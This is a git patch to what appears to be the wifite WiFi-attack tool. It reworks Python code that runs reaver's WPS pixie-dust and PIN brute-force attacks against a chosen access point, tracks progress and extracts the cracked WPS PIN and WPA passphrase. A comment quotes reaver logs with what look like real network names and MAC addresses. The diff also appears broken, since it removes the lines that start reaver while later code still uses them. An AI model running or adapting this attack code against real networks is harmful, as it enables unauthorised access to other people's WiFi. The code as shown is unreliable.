From 890915b9b3772869f80d6c8768d6d869e56a9f47 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 14 May 2017 15:27:19 -0400 Subject: [PATCH] Output target info during WPS attacks. Also using reaver's --no-nacks option --- py/AttackWPA.py | 3 - py/AttackWPS.py | 447 ++++++++++++++++++++++++++---------------------- 2 files changed, 238 insertions(+), 212 deletions(-) diff --git a/py/AttackWPA.py b/py/AttackWPA.py index f10a512..52256e6 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -34,13 +34,10 @@ class AttackWPA(Attack): # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, - skip_wash=True, output_file_prefix='wpa') as airodump: Color.clear_line() Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") - #Color.p('\r{+} {C}WPA-handshake attack{W}: ') - #Color.p('{O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) # Get client station MAC addresses diff --git a/py/AttackWPS.py b/py/AttackWPS.py index ce37762..c4272e6 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- from Attack import Attack +from Airodump import Airodump from Color import Color from Configuration import Configuration from CrackResultWPS import CrackResultWPS @@ -58,113 +59,127 @@ class AttackWPS(Attack): command = [ 'reaver', - '-i', Configuration.interface, - '-b', self.target.bssid, - '-c', self.target.channel, - '-K', '1', # pixie-dust attack + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '--pixie-dust', '1', # pixie-dust attack + '--delay', '0', + '--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] - stdout_write = open(self.stdout_file, 'a') - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = '0) initializing' time_since_last_step = 0 - while True: - time.sleep(1) + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=False, + output_file_prefix='pixie') as airodump: + Color.clear_line() - Color.p('\r{+} {C}WPS pixie-dust attack{W} ') + Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") - stdout_write.flush() - - # Check output from reaver process - stdout = self.get_stdout() - stdout_last_line = stdout.split('\n')[-1] - - (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - - # Check if we cracked it, or if process stopped. - if (pin and psk and ssid) or reaver.poll() != None: - reaver.interrupt() - - # Check one-last-time for PIN/PSK/SSID, in case of race condition. - stdout = self.get_stdout() - (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) - - # Check if we cracked it. - if pin and psk and ssid: - # We cracked it. - bssid = self.target.bssid - Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n') - self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) - self.crack_result.dump() - return True - else: - # Failed to crack, reaver proces ended. - Color.pl('{R}failed: {O}WPS pin not found{W}') + while True: + try: + airodump_target = self.wait_for_target(airodump) + except Exception as e: + Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) + Color.pl("") return False - last_step = step - # Status updates, depending on last line of stdout - if 'Waiting for beacon from' in stdout_last_line: - step = '({C}step 1/8{W}) waiting for beacon' - elif 'Associated with' in stdout_last_line: - step = '({C}step 2/8{W}) waiting to start session' - elif 'Starting Cracking Session.' in stdout_last_line: - step = '({C}step 3/8{W}) waiting to try pin' - elif 'Trying pin' in stdout_last_line: - step = '({C}step 4/8{W}) trying pin' - elif 'Sending EAPOL START request' in stdout_last_line: - step = '({C}step 5/8{W}) sending eapol start request' - elif 'Sending identity response' in stdout_last_line: - step = '({C}step 6/8{W}) sending identity response' - elif 'Sending M2 message' in stdout_last_line: - step = '({C}step 7/8{W}) sending m2 message (may take a while)' - elif 'Detected AP rate limiting,' in stdout_last_line: - if Configuration.wps_skip_rate_limit: - Color.pl('{R}failed: {O}hit WPS rate-limit{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') + stdout_write.flush() + + # Check output from reaver process + stdout = self.get_stdout() + stdout_last_line = stdout.split('\n')[-1] + + (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) + + # Check if we cracked it, or if process stopped. + if (pin and psk and ssid) or reaver.poll() != None: + reaver.interrupt() + + # Check one-last-time for PIN/PSK/SSID, in case of race condition. + stdout = self.get_stdout() + (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) + + # Check if we cracked it. + if pin and psk and ssid: + # We cracked it. + bssid = self.target.bssid + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") + self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) + self.crack_result.dump() + return True + else: + # Failed to crack, reaver proces ended. + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") + return False + + if 'WPS pin not found' in stdout: + Color.pl('{R}failed: {O}WPS pin not found{W}') break - step = '({C}step -/8{W}) waiting for AP rate limit' - if 'WPS pin not found' in stdout: - Color.pl('{R}failed: {O}WPS pin not found{W}') - break + last_step = step + # Status updates, depending on last line of stdout + if 'Waiting for beacon from' in stdout_last_line: + step = '({C}step 1/8{W}) waiting for beacon' + elif 'Associated with' in stdout_last_line: + step = '({C}step 2/8{W}) waiting to start session' + elif 'Starting Cracking Session.' in stdout_last_line: + step = '({C}step 3/8{W}) waiting to try pin' + elif 'Trying pin' in stdout_last_line: + step = '({C}step 4/8{W}) trying pin' + elif 'Sending EAPOL START request' in stdout_last_line: + step = '({C}step 5/8{W}) sending eapol start request' + elif 'Sending identity response' in stdout_last_line: + step = '({C}step 6/8{W}) sending identity response' + elif 'Sending M2 message' in stdout_last_line: + step = '({C}step 7/8{W}) sending m2 message (may take a while)' + elif 'Detected AP rate limiting,' in stdout_last_line: + if Configuration.wps_skip_rate_limit: + Color.pl('{R}failed: {O}hit WPS rate-limit{W}') + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + + ' this kind of failure in the future{W}') + break + step = '({C}step -/8{W}) waiting for AP rate limit' - if step != last_step: - # Step changed, reset step timer - time_since_last_step = 0 - else: - time_since_last_step += 1 + if step != last_step: + # Step changed, reset step timer + time_since_last_step = 0 + else: + time_since_last_step += 1 - if time_since_last_step > Configuration.wps_pixie_step_timeout: - Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) - break + if time_since_last_step > Configuration.wps_pixie_step_timeout: + Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) + break - # TODO: Timeout check - if reaver.running_time() > Configuration.wps_pixie_timeout: - Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) - break + # TODO: Timeout check + if reaver.running_time() > Configuration.wps_pixie_timeout: + Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) + break - # Reaver Failure/Timeout check - fail_count = stdout.count('WPS transaction failed') - if fail_count > Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) - break - timeout_count = stdout.count('Receive timeout occurred') - if timeout_count > Configuration.wps_timeout_threshold: - Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) - break + # Reaver Failure/Timeout check + fail_count = stdout.count('WPS transaction failed') + if fail_count > Configuration.wps_fail_threshold: + Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) + break + timeout_count = stdout.count('Receive timeout occurred') + if timeout_count > Configuration.wps_timeout_threshold: + Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) + break - # Display status of Pixie-Dust attack - Color.p('{W}%s{W}' % step) + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", step) - continue + time.sleep(1) + continue # Attack failed, already printed reason why reaver.interrupt() @@ -182,9 +197,9 @@ class AttackWPS(Attack): # Start reaver process command = [ 'reaver', - '-i', Configuration.interface, - '-b', self.target.bssid, - '-c', self.target.channel, + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, '--session', '/dev/null', # Don't restart session '-vv' # verbose ] @@ -197,141 +212,155 @@ class AttackWPS(Attack): failures = 0 state = 'initializing' - while True: - time.sleep(1) - percent = 100 * float(pin_current) / float(pin_total) + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=False, + output_file_prefix='wps') as airodump: + Color.clear_line() - Color.p('\r{+} {C}WPS PIN attack{W} (') - Color.p('{G}%.2f%% done{W}, ' % percent) - Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)) - Color.p('{R}%d/%d failures{W}) ' % (failures, \ - Configuration.wps_fail_threshold)) + Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") - if failures >= Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures{W}') - break + while True: + try: + airodump_target = self.wait_for_target(airodump) + except Exception as e: + Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) + Color.pl("") + return False + time.sleep(1) + percent = 100 * float(pin_current) / float(pin_total) + Color.clear_line() + status = '{G}%.2f%% done{W}, ' % percent + status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) + status += '{R}%d/%d failures{W}) ' % (failures, Configuration.wps_fail_threshold) + Color.pattack("WPS", airodump_target, "PIN Attack", status) - # Get output - out = self.get_stdout() - - # Clear output file - f = open(self.stdout_file, 'w') - f.write('') - f.close() - - # CHECK FOR CRACK - - (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) - if pin and psk and ssid: - # We cracked it. - self.success = True - Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') - self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) - self.crack_result.dump() - break - - - # PIN PROGRESS - - # Reaver 1.5.* - match = None - for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): - # Look at last entry for "Pin count advanced" to get latest pin count - pass - if match: - # Reset failures on successful try - failures = 0 - groups = match.groups() - pin_current = int(groups[0]) - pin_total = int(groups[1]) - - # Reaver 1.3, 1.4 - match = None - for match in re.finditer('Trying pin (\d+)', out): - if match: - pin = int(match.groups()[0]) - if pin not in pins: - # Reset failures on successful try - failures = 0 - pins.add(pin) - pin_current += 1 - - # Failures - if 'WPS transaction failed' in out: - failures += out.count('WPS transaction failed') - elif 'Receive timeout occurred' in out: - # Reaver 1.4 - failures += out.count('Receive timeout occurred') - - # Status - if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' - if 'Starting Cracking Session' in out: state = '{C}cracking{W}' - # Reaver 1.4 - if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' - - if 'Detected AP rate limiting' in out: - state = '{R}rate-limited{W}' - if Configuration.wps_skip_rate_limit: - Color.pl(state) - Color.pl('{!} {R}hit rate limit, stopping{W}\n') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') + if failures >= Configuration.wps_fail_threshold: + Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') + Color.pl("") break - if 'WARNING: Failed to associate with' in out: - # TODO: Fail after X association failures (instead of just one) - Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') - break + # Get output + out = self.get_stdout() - match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) - if match: - eta = match.groups()[0] - state = '{C}cracking, ETA: {G}%s{W}' % eta + # Clear output file + f = open(self.stdout_file, 'w') + f.write('') + f.close() - match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) - if match: - eta = match.groups()[0] - state = '{C}cracking, ETA: {G}%s{W}' % eta - pins_left = int(match.groups()[1]) + # CHECK FOR CRACK - # Divine pin_current & pin_total from this: - pin_current = 11000 - pins_left + (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) + if pin and psk and ssid: + # We cracked it. + self.success = True + Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') + self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + self.crack_result.dump() + break - # Check if process is still running - if reaver.pid.poll() != None: - Color.pl('{R}failed{W}') - Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') - self.success = False - break - # Output the current state - Color.p(state) + # PIN PROGRESS - ''' - [+] Waiting for beacon from AA:BB:CC:DD:EE:FF - [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) - [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 - [+] Trying pin 12345670. - [+] Pin count advanced: 46. Max pin attempts: 11000 - [!] WPS transaction failed (code: 0x02), re-trying last pin - [!] WPS transaction failed (code: 0x03), re-trying last pin - [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) - [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking - [!] WARNING: 25 successive start failures - [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) - [+] 0.55% complete. Elapsed time: 0d0h2m21s. - [+] Estimated Remaining time: 0d15h11m35s + # Reaver 1.5.* + match = None + for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): + # Look at last entry for "Pin count advanced" to get latest pin count + pass + if match: + # Reset failures on successful try + failures = 0 + groups = match.groups() + pin_current = int(groups[0]) + pin_total = int(groups[1]) - [+] Pin cracked in 7 seconds - [+] WPS PIN: '12345678' - [+] WPA PSK: 'abcdefgh' - [+] AP SSID: 'Test Router' + # Reaver 1.3, 1.4 + match = None + for match in re.finditer('Trying pin (\d+)', out): + if match: + pin = int(match.groups()[0]) + if pin not in pins: + # Reset failures on successful try + failures = 0 + pins.add(pin) + pin_current += 1 - Reaver 1.4: - [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) - [!] WARNING: Receive timeout occurred + # Failures + if 'WPS transaction failed' in out: + failures += out.count('WPS transaction failed') + elif 'Receive timeout occurred' in out: + # Reaver 1.4 + failures += out.count('Receive timeout occurred') - ''' + # Status + if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' + if 'Starting Cracking Session' in out: state = '{C}cracking{W}' + # Reaver 1.4 + if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' + + if 'Detected AP rate limiting' in out: + state = '{R}rate-limited{W}' + if Configuration.wps_skip_rate_limit: + Color.pl(state) + Color.pl('{!} {R}hit rate limit, stopping{W}\n') + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + + ' this kind of failure in the future{W}') + break + + if 'WARNING: Failed to associate with' in out: + # TODO: Fail after X association failures (instead of just one) + Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') + break + + match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) + if match: + eta = match.groups()[0] + state = '{C}cracking, ETA: {G}%s{W}' % eta + + match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) + if match: + eta = match.groups()[0] + state = '{C}cracking, ETA: {G}%s{W}' % eta + pins_left = int(match.groups()[1]) + + # Divine pin_current & pin_total from this: + pin_current = 11000 - pins_left + + # Check if process is still running + if reaver.pid.poll() != None: + Color.pl('{R}failed{W}') + Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') + self.success = False + break + + # Output the current state + Color.p(state) + + ''' + [+] Waiting for beacon from AA:BB:CC:DD:EE:FF + [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) + [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 + [+] Trying pin 12345670. + [+] Pin count advanced: 46. Max pin attempts: 11000 + [!] WPS transaction failed (code: 0x02), re-trying last pin + [!] WPS transaction failed (code: 0x03), re-trying last pin + [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) + [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking + [!] WARNING: 25 successive start failures + [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) + [+] 0.55% complete. Elapsed time: 0d0h2m21s. + [+] Estimated Remaining time: 0d15h11m35s + + [+] Pin cracked in 7 seconds + [+] WPS PIN: '12345678' + [+] WPA PSK: 'abcdefgh' + [+] AP SSID: 'Test Router' + + Reaver 1.4: + [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) + [!] WARNING: Receive timeout occurred + + ''' reaver.interrupt()